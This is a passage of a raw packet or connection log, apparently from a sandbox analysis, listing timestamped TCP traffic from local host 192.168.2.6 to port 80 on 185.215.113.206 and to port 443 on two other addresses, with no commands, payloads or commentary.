Dec 7, 2024 22:40:46.811953068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.812748909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.812797070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.812863111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.812911987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.813674927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.813724995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.813765049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.813803911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.814625978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.814677000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.814714909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.814754963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.815558910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.815617085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.815690041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.815737009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.816518068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.816567898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.816684008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.816728115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.817503929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.817554951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.817555904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.817595005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.818372965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.818419933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.866779089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.866830111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.866853952 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.867160082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.867196083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.867208958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.867254972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.867296934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.868077040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.868124962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.868170977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.868207932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.869040966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.869091988 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.869129896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.869182110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.869970083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.870019913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.870085001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.870125055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.870940924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.870981932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.870990038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.871022940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.871870995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.871922016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.871989965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.872030020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.872806072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.872862101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.872936010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.872977972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.873766899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.873831034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.873853922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.873914003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.874686003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.874728918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.874785900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.874823093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.932759047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.932867050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.932898998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.932941914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.933269024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.933373928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.933408022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.933434963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.934180975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.934238911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.934272051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.934314013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.934936047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.934986115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.935043097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.935089111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.935859919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.935903072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.935933113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.935976982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.936798096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.936846018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.936914921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.936963081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.937758923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.937805891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.937828064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.937871933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.938682079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.938731909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.938802958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.938852072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.939631939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.939682007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.939743996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.939788103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.940561056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.940608025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.940680027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.940737009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.941503048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.941556931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.941608906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.941656113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.942460060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.942517042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.942523956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.942555904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.943352938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.943402052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.972506046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.039556026 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.040122986 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.040143013 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.040275097 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.040544987 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.040555954 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.040605068 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.040612936 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.041065931 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.041070938 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.042443037 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.042710066 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.042715073 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.043077946 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.043081999 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.092351913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.141633987 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.141707897 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.141812086 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.142079115 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.142088890 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.142102003 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.142106056 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.144747019 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.144795895 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.144870996 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.145025969 CET	49816	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.145037889 CET	443	49816	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.350457907 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:47.350498915 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:47.350583076 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:47.351186037 CET	49817	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:47.351197004 CET	443	49817	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:47.409894943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.409960985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.410058975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.410099983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.410238028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.410285950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.410286903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.410322905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.410882950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.410929918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.411318064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.411396980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.411761045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.411822081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.411878109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.411916971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.412676096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.412724972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.412760019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.412800074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.413616896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.413666010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.413711071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.413748026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.414555073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.414599895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.414659977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.414705992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.415507078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.415556908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.415644884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.415687084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.416472912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.416516066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.416582108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.416626930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.417469978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.417516947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.417542934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.417586088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.418384075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.418432951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.418456078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.418494940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.419399023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.419447899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.419521093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.419559002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.420279980 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.420339108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.420392990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.420433044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.421236992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.421295881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.421367884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.421411991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.422195911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.422241926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.422396898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.422441006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.423161030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.423209906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.423340082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.423381090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.424015999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.424060106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.424123049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.424160957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.424943924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.424988031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.425101995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.425162077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.425880909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.425929070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.425983906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.426023006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.426918983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.426971912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.427041054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.427086115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.427865028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.427907944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.427969933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.428013086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.428709030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.428755999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.428812981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.428848982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.429802895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.429846048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.429924011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.429966927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.430619955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.430674076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.430740118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.430780888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.431654930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.431699991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.431782007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.431819916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.432568073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.432609081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.432650089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.432691097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.433481932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.433523893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.433573008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.433617115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.434389114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.434432983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.434489965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.434528112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.435349941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.435395002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.435471058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.435513973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.436341047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.436382055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.436451912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.436496019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.437226057 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.437271118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.437341928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.437378883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.438184977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.438234091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.438275099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.438311100 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.439142942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.439197063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.439234972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.439604998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.440021038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:47.440063953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.479441881 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.479506969 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.479552031 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.479798079 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.479808092 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.479820967 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.479826927 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.480169058 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.480218887 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.480268002 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.480410099 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.480433941 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.480443954 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.480453014 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.480811119 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.480886936 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.480933905 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.481683969 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.481695890 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.481709003 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.481714964 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.484303951 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.484344006 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.484400034 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.484997034 CET	49818	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.485009909 CET	443	49818	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.485687017 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.485723019 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.485783100 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.485881090 CET	49819	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.485897064 CET	443	49819	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.486355066 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.486385107 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.486444950 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.486546040 CET	49820	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.486557007 CET	443	49820	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.710412979 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.711062908 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.711074114 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.711438894 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:47.711443901 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:47.904886007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:47.904902935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:48.024631023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:48.024645090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:48.145879984 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.145958900 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.146147966 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:48.146328926 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:48.146338940 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.146353960 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:48.146358967 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.149032116 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:48.149063110 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:48.149139881 CET	49821	443	192.168.2.6	13.107.246.63
